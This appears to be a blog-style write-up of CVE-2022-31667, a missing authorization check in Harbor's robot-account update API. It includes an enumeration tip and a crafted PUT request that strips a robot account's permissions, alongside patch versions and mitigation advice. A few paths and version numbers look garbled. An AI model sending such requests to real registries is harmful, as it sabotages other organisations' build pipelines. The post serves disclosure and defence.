> Exclusive Long Read: Understand and Exploit a Subtle but Serious Harbor Security Bug

What is Harbor?

Harbor is an open-source registry for storing, signing, and scanning container images—used by organizations both big and small for managing Docker images and Helm charts. As Harbor is often used in critical CI/CD pipelines, a vulnerability in its access control could have widespread implications.

The Vulnerability in Simple Words

CVE-2022-31667 is a security bug that lets a regular authenticated user change or revoke the permissions of a "robot account"—even when that robot account belongs to a project the user should have no access to.

This means a company could have a private project, only accessible by a few, but anyone with a Harbor login might still cripple automation or CI/CD jobs linked to that project by targeting its "robot account".

Technical Summary

- Bug: Harbor fails to properly verify if the user is allowed to update a robot account for a project they don’t belong to.
- Effect: An attacker can revoke permissions or disable robot accounts for projects they’re not permitted to interact with.
- Why: The backend code fetches the robot account by its ID and applies the requested updates without confirming if the user is allowed to do so.

Exploiting CVE-2022-31667

Let’s walk through an actual exploitation scenario.

1. Find a Target Robot Account

You need the ID and Name of a robot account in a project you don't belong to. With minimal access, enumeration of robot account IDs may be possible via:

- Fuzzing API endpoints (GET /api/v2./robots/)

Guessing based on sequential IDs

> In practice, many Harbor installs have predictable robot account naming conventions.

2. Construct the Malicious Update Request

With the ID and name of the target robot account, send a crafted API request as a normal Harbor user.

Example: Remove all permissions from a robot account you shouldn’t be allowed to manage.

PUT /api/v2./robots/1234 HTTP/1.1
Host: harbor.example.com
Authorization: Basic <your-user-auth>
Content-Type: application/json

{
  "name": "robot$ci-robot",     // Actual robot account's name
  "description": "sabotage",
  "editable": true,
  "duration": 259200,
  "level": "project",
  "permissions": []            // No permissions!
}

All permissions for "ci-robot" are revoked.

- CI/CD, automation, or integrations using this robot account will break.

GIF Walkthrough

Suppose you had admin on Project A, but no access to Project B.

1. Get Robot Account ID for robot in Project B (/api/v2./robots/5678).

The bug results from missing project ownership/authorization checks in the robot update logic

func (ra *RobotAPI) Update() {
    // ... fetch robot account by ID
    // ... proceed to apply updates
    // <--- Missing: Check if current user belongs to the robot's project!
}

The correct flow should verify that the user updating the robot account has permission on the project *to which the robot belongs*. In the vulnerable version, this check is missing.

Responsible Disclosure and Patches

- Reported: GitHub Advisory GHSA-5248-2qgw-3267
- Harbor Fixed: Pull Request #16688

Fixed Version: 2.5.4, 2.6.2, 2.7. and up

Mitigation:

Upgrade Harbor to a fixed version as soon as possible.

- Limit exposure: Avoid predictable robot account names/IDs.

References

- Original Harbor Issue #16687
- GitHub Security Advisory
- Official Harbor Releases

Final Thoughts

CVE-2022-31667 is a perfect example of how an innocent flaw can be leveraged by attackers to disrupt critical automation. While you might think losing access to a single robot is no big deal, in enterprise environments this can block builds, deployments, or even entire developer workflows. Always keep your software up to date, and don’t expose internal APIs to untrusted networks.


*If you found this useful, share it to help others secure their Harbor registries!*

Timeline

Published on: 11/14/2024 12:15:16 UTC